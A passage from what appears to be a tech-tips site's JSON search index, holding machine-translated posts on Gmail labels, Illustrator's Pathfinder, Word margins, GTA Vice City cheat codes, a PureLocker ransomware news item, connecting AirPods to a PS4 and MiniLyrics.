not.\u0026nbsp;\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jKamrKxdpby4sdGfrKVll6q7tHnCmqOlZZ%2BbeqXB07JkpqeSnrmm\n","link":"/post/top-most-powerful-guns-call-of-duty-mobile/","section":"post","tags":null,"title":"Top most powerful guns Call of Duty Mobile"},{"body":"Sooner or later, everyone's Gmail inbox will become a mess. There are a lot of tricks to deal with email overload, but there is a familiar tip that you may not have used yet: the Gmail label.\nThese labels have been around for a long time in Gmail, but they are known to very few users. Labels can completely change the way users access email, can even tame their inbox.\nWhether or not the use of a label is successful depends on a number of core productivity principles, like any job management system. Here are useful tips when using labels in Gmail.\nUse Gmail labels to tame your inbox Labels should not make you think 5 main labels: Today, Done, Waiting For, To-Do, Reply Gmail labels are as great as a reassuring drug! Labels should be easy to access, apply and identify No extensions, no frills Labels should not make you think   This is probably the most important part of using labels in Gmail. At first, you will be interested and give a long list of labels. 'Each task or email is unique', you will tell yourself. Avoid falling into this trap. The more labels you have, the more you have to think, which means that you lose more time. You must actively fight with a tired decision: What should be labeled.\nUse as few labels as possible. Each label should serve a single purpose. As a rule of thumb, use these key labels and add 5 more labels to suit your business needs.\n5 main labels: Today, Done, Waiting For, To-Do, Reply Some experts recommend that you do email scanning daily in the morning, so you know what to do with each email? Think of this scan as the time to organize your inbox, just like you would arrange your to-do list.\n  Email management rules: If you can delete it, delete it. For messages you cannot delete, you can usually classify them with the following five main labels:\nToday: Mark this on any email with actions that need to be done today. You can label Today or something similar; as long as you know that you need to resolve this email today. To-do: If the email contains a project or job you need to do today, mark it with this label. The bottom line is the task to do with emails with this label, more than just replying to that email. You can try combining Gmail with another application to turn emails with To-do labels into a task table (such as Trello). Please refer to the article Applications turning Gmail into an effective collaboration tool. Reply: Check with this label on any email to reply. Therefore, an email can be marked with all 3 \" Today + To-Do + Reply \" labels to indicate that it contains a task and must be resolved at the end of the day. Waiting For: Mark this label on any email that is important to you, but you have to wait for someone else to take action. Done: This is the most important label. Any email that no longer requires you to take action, mark it as Done. Even if you have moved the email to the archive, the reply from the sender will bring it back in your inbox. You need to label 'Done' to mark this done. Gmail labels are as great as a reassuring drug!   Whenever you receive a new email notification, your first instinct is to open, read, reply or delete. But these emails will mess up your work because they distract you, so you need a solution to solve this problem.\nNow, you just need to apply a label to that email and go back to work, then come back to resolve the email later, when your current job is completed. Applying a label will give you a sense of comfort, when interacting or solving email, without wasting your valuable time.\nLabels are a great reassurance for those who are forced to organize large numbers of emails in their inbox.\nLabels should be easy to access, apply and identify Gmail has many tools to make the labels as user-friendly as possible. Please take a moment to customize the appearance of the label, it will effectively promote the use of your labels.\n  Go to the gear icon, then go to Settings\u0026gt; Labels to see all your labels and manage them. You should hide most of the other items you see in the left sidebar, like Sent Mail, Drafts, Important, Categories, Circles and more. If your label appears first, it will be easier to spot them, as well as drag and drop into email.\n  Also, color your labels. Click the small drop-down menu in any label in the sidebar to select a color for it. Simple colors applied to your main labels will help you identify them easily. For example, you can use the green label for \"Done\", to make it easy to see and know that you no longer have to bother with that email. Similarly, mark the \"Today\" label with a bright red so that it always attracts your attention.\nNo extensions, no frills The use of labels is that it is integrated directly into Gmail. You don't need any extensions to use it on Google Chrome or the Gmail for mobile application. It works perfectly whenever you open your inbox. Gmail labels help you get out of the way and improve productivity.\nIf you have more effective label usage tips in Gmail, we'd love to hear about it! Please leave comments or any questions you have in the comment section below!\nSee more:\nHow to change Gmail wallpaper as you like How to see which applications are reading your Gmail Instructions for using secret mode when sending email on Gmail ncG1vNJzZmismaXArq3KnmWcp51kwrSxjKCkmqGcYrmirsSlqmasn2LBornEZrCoraJitq%2BuzrE%3D\n","link":"/post/use-gmail-labels-to-tame-your-inbox/","section":"post","tags":null,"title":"Use Gmail labels to tame your inbox"},{"body":"So what is Pathfinder? How to use Pathfinder? Please read along to learn about Pathfinder in the article below.\n1. What is Pathfinder?   Simply put, Pathfinder is an intelligent shaping tool, allowing you to nest 2 objects, shapes, and paths to form patterns. Thanks to this feature, you can create unique patterns or draw difficult patterns in the design.\nIn the Pathfinder tool there are 2 groups of commands: Shape Modes and Pathfinder . Shape Modes includes 4 small commands: Unite, Minus Front, Intersect and Exclude . Pathfinder group will include 6 small commands: Divide, Trim, Merge, Crop, Outline, Minus Back .\n2. Instructions for using Pathfinder Step 1: Click on the Windows menu (1) =\u0026gt; Pathfinder (2) or use the keyboard shortcut Shift + Ctrl + F9 to turn on this tool.\n  Then, the Pathfinder tool panel will appear as shown below.\n  Step 2: To test this tool, create two shapes (Shapes) by clicking on the Shape tool (1) =\u0026gt; select pattern (2) and draw 2 patterns (3) .\n  Step 3: Take the Selection Tool (1) and select 2 drawings (2) . You can then combine the shapes with the Pathfinder tool (3) .\n  3. Meaning of commands in the Pathfinder tool 3.1. Shape Modes command group Shapes Mode has the effect of cutting, merging, selecting intersecting areas and creating a new shape with one color.\nUnite This is the action of merging two images into one, the upper layer will wrap the bottom layer.\n  Minus Front This command will delete the top layer and create the pattern shown in the example below.\n  Intersect This command will keep the intersections and delete the intersections.\n  Exclude The effect is the same as the Minus Front command but take the color of the bottom layer.\n  3.2. The Pathfinder command group Divide   The Divide command is used to subdivide objects and create new layers.\n  Trim   The Trim command will keep visible parts of the image and delete the invisible image area. The visible image area after using this command will be split into separate layers.\n  Merge   The way it works is the same as the Trim command and separates the same layers. If two layers have the same color, this command will automatically merge both layers of the same color.\n  Crop   The Crop command will keep the visible part of the front layer and the part that does not intersect the front and back layers. After using this command will create the front layer and the non-intersecting part of the bottom layer image.\n  Outline   This command will process the layers by preserving the border and removing the color inside. Next, a new layer will be created with different elements.\n  Minus Back   The Minus Back command will keep the non-intersecting layers and remove all overlapping layers.\n  With the sharing in the article about Pathfinder tool in Illustrator , you can grasp the basics and discover great uses that this tool brings. I wish you good learning and practice!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWglsGpssinm56qXZ28uHnTqGSuq5VivaLAx5%2Bgp5yVp3qquoyam6ialWK2rbjUrKurmaSkvw%3D%3D\n","link":"/post/what-is-pathfinder-how-to-use-pathfinder-in-adobe-illustrator/","section":"post","tags":null,"title":"What is Pathfinder? How to use Pathfinder in Adobe Illustrator"},{"body":"What way do you use to read emails on your computer? Using email web or email software for desktop computers?\nOf course, web email and desktop email software all have their own advantages and disadvantages. But there are many reasons why web email is more appropriate than desktop options. Let's take a look at some of the reasons why you should stop using desktop email software today.\nThe best options replace Microsoft Outlook 10 free Email programs for Windows 2018 7 simple steps turn Gmail into an application on the desktop 1. Mobility If you use a web-based email application, you will have the same experience every time you log in to your account on different computers.\nHowever, if you use desktop software and you need access to email on another computer such as a public computer, you must switch to the email application online.\nAnd when using this online email application, you will encounter a number of problems such as different layout, options in other locations, features and formatting tools are missing or not the same. You will take time to get used to it.\n2. Security   If your main laptop is often messy, someone can use it. They can browse your email software especially when the application runs 24/7 in the background.\nOf course, some desktop email applications provide passwords and other similar security tools. However, in fact, few people use this feature.\n3. Many computers synonymous with multiple settings If you have multiple computers, you will have to set up email software the same way on every computer.\nTypically, email software provides users with many customizations such as categories, filters, behavior, signatures, settings, etc. If you change the more you will take a long time to reset them on the another machine.\n4. Different operating systems Similarly, if you prefer to use different operating systems, finding email software available for all your operating systems is a big challenge.\nFor example, Mailbird is considered one of the best email software on Windows, but it doesn't have a Mac version. On the other hand, Spark is one of the best email applications for Mac but there is no version for Windows.\nAnd finding the version for Linux is even harder, not to mention Chromebook. Chrome OS, without permission to install desktop apps, has no choice but to use the web application.\nDo you know how to run Windows applications on Chromebooks? 5. Spam   Many of the best desktop email software also cannot handle spam effectively. You can mark a specific message as spam in the email software, but it may happen that the email address of the spammer does not synchronize with the email list of the email provider. If the person sends another message, it will return to the inbox.\nHowever, when an email provider and an email application developer is one, there is no problem. For example, if you mark an email as spam on the Mail application in Windows 10, it will still sync with the Outlook / Hotmail / Live list.\n6. Life expectancy There are many email software after a release period that is no longer supported.\nDo you remember Sparrow email software on macOS? This is a paid email application launched in February 2011. In just one day, it became the highest income and revenue app on the Apple App Store.\nBy July 2012, Google has completed the acquisition of this software. It quickly announced its inactivity shortly thereafter. Many people believe that Sparrow was \"born\" of Google Inbox in 2014, though, it did not escape the fate of stopping in 2019.\nOther desktop email applications have a similar fate: Netscape Mail, Email Eureka, Outlook Express and Mozilla Mail.\nThe client email client on the web has no such problem. Google will not suddenly disable its Gmail web application without warning.\n7. Costs If you want to own many features on email software, you need to pay to use it.\nTypically, desktop email application developers provide both free and paid versions. The free version will have limitations such as limiting the number of email addresses added or not accessible offline.\nThe web-based email application does not have paywall, allowing you to add multiple email addresses to one account.\nThe above are the reasons you should not use the email application for desktop computers anymore. Hopefully the article gives you information comparing the use of desktop email and web email applications.\nncG1vNJzZmismaXArq3KnmWcp51khG6%2BxJqqqKajYruwwIytpmato5p6pbHSpKuoqF2auqK1y2aqqJ6krK6zsQ%3D%3D\n","link":"/post/7-reasons-not-to-use-desktop-email-software/","section":"post","tags":null,"title":"7 reasons not to use desktop email software"},{"body":"Due to the nature of 24K gold (considered pure gold, 99.99% is pure gold), it is quite soft so it easily surrenders under the strong attack of hydraulic presses.\nWatch the thick book \"explode\" under the pressure of a hydraulic compressor Find your heart with a slow turn when the guy jumps into 1000 mousetrap The close-up video of a bar of 1kg of 24k gold, worth up to 30,000-40,000 USD, is easily shaped or compressed by the hydraulic press many times but its value remains unchanged.\nCheck out the 1kg of 1kg gold bullion video against the \"giant\" named hydraulic press.\nncG1vNJzZmismaXArq3KnmWcp51krm6vy6iqnq2gYrynedOhnGZpoKTCr7CMa2ukZZekuaW5zqWbnpxdncalvsCuo6KbXaW%2Fpr%2FSZqSam5ieu6Y%3D\n","link":"/post/a-close-up-of-the-1-pound-24k-gold-molded-hydraulic-press-machine/","section":"post","tags":null,"title":"A close-up of the 1-pound 24K gold-molded hydraulic press machine"},{"body":"Following 2018, 2019 is still a year that IT teams and security companies around the world must obsess over ransomware - the type of ransomware encryption software that is causing billions of dollars in damage to businesses. and individuals, even government organizations.\nLockerGoga, RobbinHood, Grandcab, MegaCortex and Ryuk . have been the names of 'nightmares' during the past 11 months, but there is another ransomware strain with an extremely unique attack method that makes many experts top security information is sweating, which is PureLocker - ransomware strains can encrypt the server.\n  PureLocker: New ransomware strain with an unusual attack mechanism PureLocker is a new type of ransomware that is widely used in attacks targeting corporate servers and appears to be closely associated with some notorious cybercrime groups.\nAccording to analysis by researchers at Intezer and IBM X-Force, the malware is unique in that it mainly focuses on encrypting victim's servers to request ransom. The reason is called PureLocker because it is written in the PureBasic programming language. The hacker choice in writing ransomware in PureBasic itself is not normal. This gives attackers a number of advantages, such as forcing network security service providers to struggle to create a reliable signature for malware written in language. this term. In addition, PureBasic can easily switch between Windows, Linux and macOS, creating complex cross-platform attacks.\nTargeting servers is a great way for PureLocker to earn a higher ransom. When a server is encrypted, the ransom offered is usually not less than hundreds of thousands of euros. This is because organizations tend to store their most important data on servers and are often willing to pay a higher price to be able to redeem this 'vital' information store.\nPureLocker attack campaigns are currently being deployed more and more widely worldwide with the main target being large enterprises. With unusual tactics and attacks, this malicious code is considered to be a name that will be mentioned many times in 2020.\nncG1vNJzZmismaXArq3KnmWcp51kvba%2BxKWmnKOVp3qiedWeqbJlp5q2s7CMq5inq5%2BixKK%2BxGaqraqRnrtuwMeaq2abkaN6prrCq7CprF2osrPCxKuq\n","link":"/post/a-very-weird-ransomware-strain-that-can-encrypt-servers/","section":"post","tags":null,"title":"a very 'weird' ransomware strain that can encrypt servers"},{"body":"Acer plans to sell 2 million mini laptops in the third quarter of this year worldwide, of which September alone will sell 1 million units. Acer currently has only one mini laptop on the market, the Aspire One, but is highly rated for its performance and attractive price. In Vietnam, the white model is equipped with 8 GB SSD drive and Linux operating system costs VND 8.6 million.\n  The Acer Aspire One is one of the mini laptop models to be reviewed highest today.\nThere are still models that are cheaper than Acer Aspire One, such as the Asus Eee PC 701 (7-inch screen), but are not equipped with Intel's Atom processor. Models with high configuration with Aspire One have a much higher price.\nIn November this year, Acer plans to launch the Aspire One model that supports 3G connectivity. Although claiming to sell 2 million mini laptops in the third quarter of this year by Taiwanese computer company, it is still necessary to wait until the end of September to verify, but the above moves can be considered a warning to those New competitors are entering the mini laptop market such as Lenovo, Fujitsu or Dell.\nncG1vNJzZmismaXArq3KnmWcp51krqSx0WaqqKSUYn9uucilo6KnnmK6qrrIZqOaqKSkvbR5yKdkraCVYsGptdGdZKqtkafBpr4%3D\n","link":"/post/acer-sold-2-million-mini-laptops-in-the-third-quarter/","section":"post","tags":null,"title":"Acer sold 2 million mini laptops in the third quarter"},{"body":"As the design and processing power are becoming increasingly saturated, in another world of smartphones, another `` arms race '' is just as tough, it's about camera quality (including the ability to photography and video capabilities).\nIt's not hard to see how this battle is having a major impact on the smartphone industry. For example, the number of camera sensors on a phone. If about two years ago, a phone with a dual camera cluster was considered a trend, then today, many Android smartphones, even not in the high-end segment, have been equipped with 4, 5. camera sensor. One manufacturer that is always `` calm like that '' Apple also had to equip up to 3 rear cameras for iPhone 11 Pro and iPhone 11 Pro Max.\nHowever, the number of cameras is one thing, the quality of photos and videos is a different story. Samsung Galaxy S20 Ultra has just been launched by Samsung a few years ago and is considered one of the best smartphones for mobile photography and video recording in the world. Referring to Samsung, the majority of users will immediately think of the rival to the 'lifetime' of Apple. iPhone 11 Pro Max is currently the best Apple phone at the moment, while the Galaxy S20 Ultra is also the flagship smartphone of the Korean manufacturer in the first half of 2020. So besides the comparison dry in terms of hardware configuration and processing capabilities - which are affected by two operating systems (iOS and Android) which are so different - the ability to take photos and videos of the two most advanced smartphones. How is this world inferior to each other?\n  Recently, the famous YouTuber ThingsApplePro posted a 10-minute video comparing the actual camera performance of the Galaxy S20 Ultra and the iPhone 11 Pro Max. However, before coming to the video, let's take a look at the main camera specs of both products.\nGalaxy S20 Ultra rear camera cluster includes 4 lenses: 108MP main camera supports phase-detection focusing, optical stabilization, f / 1.8 aperture, super wide-angle camera 12MP aperture f / 2.2, telephoto camera 48MP aperture f / 3.5 and finally DepthVision depth sensor.\niPhone 11 Pro Max has 3 lenses in the rear camera with the specifications of 26mm f / 1.8 wide-angle lens, 2X telephoto lens with 52mm f / 2.0 focal length and finally super-angle lens. 13mm f / 2.4 wide, all with 12MP resolution.\nHere are actual reviews from ThingsApplePro:\nFrom a personal perspective, do you like the quality of taking photos and videos on your Galaxy S20 Ultra or iPhone 11 Pro Max? Please leave your comments!\nncG1vNJzZmismaXArq3KnmWcp51ksLC5z5qpnmWjlrq0wc2gZKCZnJbFunnSa2dmrZypv6J5wpqknqqRYq6vsIyip6Gnnpp6cn2MqamoZZ2WxQ%3D%3D\n","link":"/post/compare-samsung-galaxy-s20-ultra-camera-and-iphone-11-pro-max/","section":"post","tags":null,"title":"Compare Samsung Galaxy S20 Ultra camera and iPhone 11 Pro Max"},{"body":"\u0026nbsp;Through moving, organizing, and decorating, we can better understand their hopes, dreams, choices, and important decisions.\nWhile unboxing, arranging and decorating the bedroom, kitchen, living room, etc., you will interact with many different items. And they are not simply objects, the developers cleverly put small messages into them. Let's discover 10 interesting hidden details in the game Unpacking.\n10 hidden details in Unpacking My Little Pony It's a classic toy of the 90s, reminding us of a brilliant childhood sky.\n  Tomagatchi and Giga Pet 2 types of pocket pets that you will take care of every day. It was also a popular toy in the '90s, before we had Nintendo and more sophisticated consoles.\nDo you remember Troll Doll? Apparently the developers at Witch Beam have very fond memories of the '90s as they continue to include a classic toy from this period, the blue haired Troll doll.\n  Cassettes Long before they were the concept of files or CDs, cassettes were the primary means of entertainment in life. In Unpacking PC, you will once again encounter colorful cassettes and have to find a way to arrange them properly in the box and then put it on the shelf.\nA book about Peter Pan A story book for children, recalling the golden age of children's books. Do the 2 words PP on the cover of the book remind you of the boy Peter Pan and endless adventures?\n  Board game Operation The board game was extremely popular at the end of the 20th century. And it's impossible not to mention Operation.\nGameboy game console The console that appeared in Unpacking was inspired by the legendary Gameboy.\n  Put the brush in the cup The action associated with the childhood of many people is to put the toothbrush in the cup. Now you have a lot of items to organize them more scientifically, but this image is still extremely impressive in everyone's memory.\nGeorge Foreman Grill As soon as you reach the kitchen area, you will see what looks like a George Foreman grill. You have to put it on the top of the cabinet because the size is quite large.\n  Stuffed animals An interesting point in Unpacking is that there are items that live forever, such as stuffed animals. Whether you are in kindergarten or going to university, stuffed animals are still with us in every sleep.\nNot just simply arranging items, the game takes you back to your childhood and past memories through a lot of unique items. How many of them do you recognize?\nncG1vNJzZmismaXArq3KnmWcp51ksaavzp2cZmlgYravwMSrnKysmaO0brDErZiipKNitq951KenmpubnruoecaapJ4%3D\n","link":"/post/decode-10-interesting-details-in-unpacking-game/","section":"post","tags":null,"title":"Decode 10 interesting details in Unpacking game"},{"body":"Game Street Pirates (Grand Theft Auto: Vice City) is one of the best games today. Grand Theft Auto is an offline game if you play normally, it takes a lot of time to explore it all. Because the article below introduces you to all GTA Codes that can help you conquer this game as quickly as possible.\n  1. Command code about weapons in the game Street Pirates (Grand Theft Auto: Vice City) THUGSTOOLS: Own all level 1 weapons\nPROFESSIONALTOOLS: Own all level 2 weapons (professional weapons).\nNUTTERTOOLS: Own all level 3 weapons (heavy weapons).\nASPIRINE: Having full health.\nGESUNDHEIT: Performs increased blood.\nIFIWEREARICHMAN: Making money increases.\nPRECIOUSPROTECTION: Fully equipped with armor.\nGUNSGUNSGUNS: Fully load the gun.\nFANNYMAGNET: There are women following you\nYOUWONTTAKEMEALIVE: More crimes (increased wanted level)\nLEAVEMEALONE: Confession (all wanted)\nICANTTAKEITANYMORE: Suicide\n2. The code changes the appearance in the game Street Pirates (Grand Theft Auto: Vice City)   DEEPFRIEDMARSBARS: Body fat\nPROGRAMMER : Arms and thin legs\nSTILLLIKEDRESSINGUP: Randomly change clothes (no face)\nCERTAINDEATH: Tommy smokes\nHOPINGIRL: Pedestrians can get into your car.\nCHEATSHAVEBEENCRACKED: Playing in the shape of Ricardo Diaz\nLOOKLIKELANCE: Play in the shape of Vance\nMYSONISALAWYER: Playing in the shape of Rosenberg\nLOOKLIKEHILARY: Play as King Hilary\nROCKANDROLLMAN - Play as Jezz Torent\nWELOVEOURDICK: Playing in the shape of a gay hand\nONEARMEDBANDIT : Playing in the shape of Phil Cassidy\nIDONTHAVETHEMONEYSONNY: Playing in the shape of Sonny Forelli\nFOXYLITTLETHING: Playing in the shape of Mercedes\n3. Code change vehicles (vehicles) in the game Street Pirates (Grand Theft Auto: Vice City)   PANZER : Tanks\nGIVEUSATANK : Transformed into a tank\nTRAVELINSTYLE : The old Bloodring 1\nGETTHEREQUICKLY : Old Bloodring 2\nGETTHEREFAST : The Saber Turbo\nGETTHEREVERYFASTINDEED : The Hotring\nGETTHEREAMAZINGLYFAST : The Hotring Racer\nTHELASTRIDE: Vehicles funeral\nROCKANDROLLCAR: Limo cars\nRUBBISHCAR: Trashmaster Car (Garbage Truck)\nBETTERTHANWALKING: Caddy cars (used in golf courses)\nLOADSOFLITTLETHINGS: Sports cars have big wheels\nAIRSHIP: Boats can fly\nBIGBANG: All vehicles around you explode\nMIAMITRAFFIC: Making traffic chaos\nAHAIRDRESSERSCAR: All transported by pink car\nIWANTITPAINTEDBLACK: Bring all transported by car\nCOMEFLYWITHME: Vehicles can fly\nGRIPISEVERYTHING: Better brakes\nGREENLIGHT: All traffic lights turn green\nSEAWAYS: Vehicles can walk on water\nWHEELSAREALLINEED: Wheels of some vehicles will be invisible\nCHITTYCITTYBB: Reduced gravity\nLOADSOFLITTLETHINGS: Sports cars with large tires\nILIKEDRESSINGUP: Change clothes\nCORNERSLIKEMAD: Turn the car better\n4. The command code changes the weather in the game Street Pirates (Grand Theft Auto: Vice City)   ALOVELYDAY: The weather is nice\nAPLEASANTDAY: Light cloud\nABITDRIEG: Mostly cloudy\nCANTSEEATHING: There is fog\nCATSANDDOGS: Rainstorm\n5. Some other codes in the game Street Theft (Grand Theft Auto: Vice City) LIFEISPASSINGMEBY: The game clock will run faster\nYOUWONTTAKEMEALIVE: Increase wanted level\nLEAVEMEALONE: Cancel wanted command\nTIMEFLIESWHENYOU: Speed ​​up the game\nBOOOOORING: Reduce the speed in the game\nWEAPONSFORALL: Crazy people\nCHASESTAT: See wanted statistics\nONSPEED: The speed of activities in the game will be faster\nBOOOOOORING: Speed ​​of activities in the game will be slower\nFIGHTFIGHTFIGHT: People in the city fight\nITSALLGOINGMAAAD: Everyone fights\nNOBODYLIKESME: People will attack and find ways to kill you\nOURGODGIVENRIGHTTOBEARARMS: Everyone has a weapon\nCHICKSWITHGUNS: Girls would have guns with them\nMOREPOLICEPLEASE: Increasing police\nNOPOLICEPLEASE: Reduce the police\nLIQUID: Drunk mode.\nVINEWOOD: Limo cars\nHOTHANDS: One hit ( shot dead)\nCATCHME: Move very fast\nINCENDAIRY: Fire bullets\nPAIN-KILLER: Immortal for 5 minutes\nTURTLE: Full health and armor\nFUGITIVE: Increase wanted level\nSKYFALL: Skydiving\nDEADEYE: Create a slow motion effect when aiming x4\nSKYDIVE: Equip the umbrella (press X to use)\nMAKEITRAIN: Changing weather\nFLOATER: Gravity from the moon\nSNOWDAY: Smooth road effect\nBANDIT: BMX bike\nBUZZOFF: Small battle helicopter\nCOMET: 2-door sports racing\nROCKET: PCJ-600 sports car\nRAPIDGT: 2-door Rapid GT sports car\nBARNSTORM: Call the plane for a stunt\nOFFROAD: Sanchez off-road racer\nTRASHED: Call the garbage truck\nAbove detailed GTA Code, GTA command, Game Code Pirates street (Grand Theft Auto: Vice City) helps you discover GTA fastest.\nncG1vNJzZmismaXArq3KnmWcp51ktLOtzZ1kraCVm8FurdStpmaumZiybq%2FIrbBmn6KWu6V506Gcn6xdlsK1u4yvoJydXZi2tcU%3D\n","link":"/post/grand-theft-auto-vice-city-grand-theft-auto-vice-city/","section":"post","tags":null,"title":"Grand Theft Auto Vice City (Grand Theft Auto Vice City)"},{"body":"How to do this to help you: Easily align word when editing text\nWord text alignment is the operation that helps text files to be formatted in a certain format: Left margin, right margin, top, bottom. This also helps to print relevant, beautiful and more intuitive documents, and shows professionalism in your office work.\nHowever, for those who are inexperienced new graduates, this is still quite limited, so the following article will be sharing instructions on how to align in Word standard paper sizes you can refer to. .\n  1. For Word 2013, 2016 and 2019 For these 3 versions of Word, you can apply the following way to align the margins in Word to the standard paper size.\nStep 1: To adjust margins in Word, first you need to convert the default unit of measurement to Centimeters by clicking File in the upper left corner of Word interface and selecting Option in the next interface.\n  Step 2: Select the Advanced tab in the left column and navigate to the Display section on the right. Change the Show Measurements in unit of value from Inches to \u0026nbsp;Centimeters\n  Step 3: Back to the Word user interface, choose Page Layout tab\u0026nbsp; \u0026gt; Margins \u0026gt; \u0026nbsp;Custom Margins\u0026nbsp;\n  Step 4: The Page Setup dialog box appears, you can edit the parameters of the top margin ( Top ), bottom margin ( Bottom ), left margin ( Left ), right margin ( Right ) as desired, and then click \u0026nbsp;OK.\n  2. For Word 2007 and 2010 The alignment in Word 2010 is similar to Word 2007, so the instructions below apply to both versions.\nStep 1 : First, change the default unit of measurement to Centimeters.\nClick the Office Button → Word Options button\n  Step 2 : Go to the Advanced tab→ scroll down to the Display option group→ select Measurement Unit as Centimeters → OK.\n  Step 3 : Go to Page Layout → Margins → Custom Margins tab\n  Step 4 : You can modify the parameters of the top margin ( Top ), bottom margin ( Bottom ), left margin ( Left ), right margin ( Right ) as desired → OK.\n  \u0026nbsp;\n3. For Word 2003 Step 1 : First, you need to bring the default unit of measure in Word 2003 to Centimeter. Go to Tools → Options\n  Step 2 : Go to the General tab→ select Measurement Units as Centimeter → OK\n  Step 3 : Go to File → Page Setup\n  Step 4 : You can modify the parameters of the top margin ( Top ), bottom margin ( Bottom ), left margin ( Left ), right margin ( Right ) as desired → OK.\n  Tip:\u0026nbsp; Usually the default unit of measure in Word is inch by foreign standard, but you need to convert it to cm to make it easier to operate. The alignment of Word documents is very important in modern text templates.\nAligning in standard Word paper size is essential, helping your documents become more professional and presented clearly. If you do not know the proper alignment in Word, then follow the steps that this article has shared.\nAbove are the entire guides to align the margins on Word that many users are interested in today, especially newcomers, are starting to get acquainted with this popular text typing software. Along with this alignment in Word, the presentation of beautiful text is always the top priority of many users. To do this step, please refer to the detailed article on how to present beautiful text in Word \u0026nbsp;2019, 2016, 2013, 2010, 2007, 2003 that we previously shared.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmcnrSvecinZKielp6wpnnWqKmdZaOprq%2BwwKubZqiRpbKzedKisZ4%3D\n","link":"/post/how-to-align-in-office-word-standard-paper-size/","section":"post","tags":null,"title":"How to align in Office Word standard paper size"},{"body":"AirPods 2 and AirPods Pro are wireless earphones launched in 2019, and are a perfect match for iPhone, Macbook, iPad and other Android devices. However, will AirPods Pro work on PS4? How to connect AirPods Pro to PS4? In this article, TipsMake will help you.\nCan AirPods Pro connect to a PS4? In fact, connecting AirPods Pro to a PS4 isn't easy. Because the console lacks a few features, one of them is the connection to any Bluetooth headset. Perhaps Sony will soon solve this inconvenience, as soon as the company applied for a license to connect Bluetooth devices to the game console.\n  Bluetooth devices cannot connect directly to PS4\nHowever, there is an extremely cheap accessory that solves this problem, allowing you to connect your AirPods 2 or AirPods Pro to a PlayStation 4. gaming console. It's a Bluetooth-enabled Dongle for PS4.\u0026nbsp;\n  Dongle device kit for PS4\nHow to connect AirPods to PS4? Step 1 : Plug the Wireless Bluetooth Dongle for PS4 device into the front USB port. Step 2 : Wait for the Dongle to blink green, meaning the combination mode has been turned on. Step 3 : Open the AirPods box. Step 4 : Press and hold the connection button on the back of the AirPods case. Step 5 : Your AirPods are now connected to the PS4, displayed by the blue light on the Dongle that is no longer blinking. Step 6 : Plug the mic adapter into the 3.5mm port on the PS4 controller. Step 7 : There is a message displayed on the screen, confirming the device has been connected. Step 8 : Now your AirPods are completely connected to the PS4, allowing you to listen and talk through this headset while playing games. ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo7umr9NmmKKqoKSxtHnTqGSpq2Q%3D\n","link":"/post/how-to-connect-airpods-to-ps4/","section":"post","tags":null,"title":"How to connect Airpods to PS4"},{"body":"Are you looking for a karaoke software on your computer and can display many different languages? So try using MiniLyrics, a program that displays live lyrics, is able to recognize a variety of languages, and displays the lyrics according to each tune.\nMiniLyrics is similar to a karaoke software, viewing lyrics, synchronizing and displaying lyrics that are playing on popular music players today. You just need to turn on the song and follow the lyrics at MiniLyrics' independent window interface to sing along. In addition, MiniLyrics also has the ability to search lyrics on Google, along with supporting users to make lyrics and save for future use. How to install and use MiniLyrics to see the lyrics will be TipsMake.com guide in the article below.\n1. How to install MiniLyrics software: Download MiniLyrics software Step 1: First of all, we will download MiniLyrics software for the computer according to the link above. Next click on the .exe file to install the software. In the first interface, you select the language is English .\n  Step 2: At the interface of the program, click I Agree to agree and switch to the next installation interface.\n  Step 3: In the setup interface, we click Next to switch to the new interface.\n  Next, if you want to change the installation directory of MiniLyrics, click on Browse. Then click on Install .\n  Step 4: Finally, the installation of MiniLyrics will be done on the computer.\n  When you see the Completed message, which means installing MiniLyrics on the completed computer, click Close to close the reinstallation window.\n  Step 5: The Setup MiniLyric Plugin for Player window appears. The software will require users to allow the connection of the program with Windows Media Player, the default music player on Windows. We click Install to install.\nIf you want to add another music player, click the More button below.\n  After that, you will receive a notification that the link between MiniLyrics and Windows Media was successful.\n  2. How to use MiniLyrics to see the lyrics: After we successfully installed MiniLyrics on the computer and linked the software to Windows Media, you can use the program shortly afterwards.\nStep 1: When you open any song on Windows Media Player, MiniLyrics will automatically appear separate window interface, along with the lyrics.\n  This window will appear on any interface on your computer, with transparent background that is easy to track.\n  In particular, MiniLyric also supports displaying many different languages ​​such as English, Korean, .\n  Step 2: However, there are some cases where the software does not display the lyrics. If so, you can search the lyrics right away on MiniLyrics via Google . Open the MiniLyrics window, select Lyrics and then select Search Lyrics .\n  \nStep 3: In the search interface for music lyrics, the Artist section enters the artist's name without accents, Title of the song title without accents and then press Search to search on Google.\n  Soon we will see the list of lyrics that the program finds. Select a song lyrics file and click Open below to join the lyrics on Google into the song. So, we already have the lyrics.\n  Step 4: If there is no song lyrics, then there is no song that we want to find in MiniLyrics. You have to make lyrics for that song yourself.\nAt MiniLyrics interface, right click and choose Next Lyrics Editor .\n  Step 5: Appears the interface to enter the lyrics. We find the lyrics on Google, then copy the entire lyrics and paste it into the white frame as shown below.\n  Step 6: Now turn on the song, follow the lyrics and sing the lyrics on the MiniLyrics interface. Our task is to watch the timing of the verse very well. If it matches, click on the yellow box above to enter the time for the lyrics.\nThis action is creating the lyrics, putting the lyrics into the song. We will continue until the end of the song.\n  Step 7: When you're done, click File\u0026gt; Save File to save the lyrics.\n  A folder of the software appears, click Save to save the lyrics created by MiniLyrics.\n  When turning off the song creation window and re-playing the previous song, we will see the lyrics created as shown below.\n  Step 8: In addition, MiniLyrics also provides users with some customization of the user interface and settings for the program. The options appear at the top of the interface. We can change the song display interface of MiniLyrics, for example. In the Skins section, select the interface like iTunes Mode, Fantasy, Metal, .\n  Or you can change the display text size, text color, .\n  So you already know how to sing karaoke, take lyrics with MiniLyrics software already. Not only with the basic features that provide the lyrics, MiniLyrics also possesses powerful features, find music lyrics on Google and then merges into songs and the ability to help users create lyrics for the song. In the process of creating lyrics for the song, please choose the correct time for each song to be able to sing karaoke.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYylsKuhk6h6sLKMpJirmZ%2Bgsm6%2FzqeerGWfo3q4tc2dprCr\n","link":"/post/how-to-create-lyrics-of-karaoke-songs-on-windows/","section":"post","tags":null,"title":"How to create lyrics of karaoke songs on Windows"},{"body":"Since the \u0026nbsp;Windows 10 \u0026nbsp;April Update, users have been able to use the simultaneous playback of\u0026nbsp; 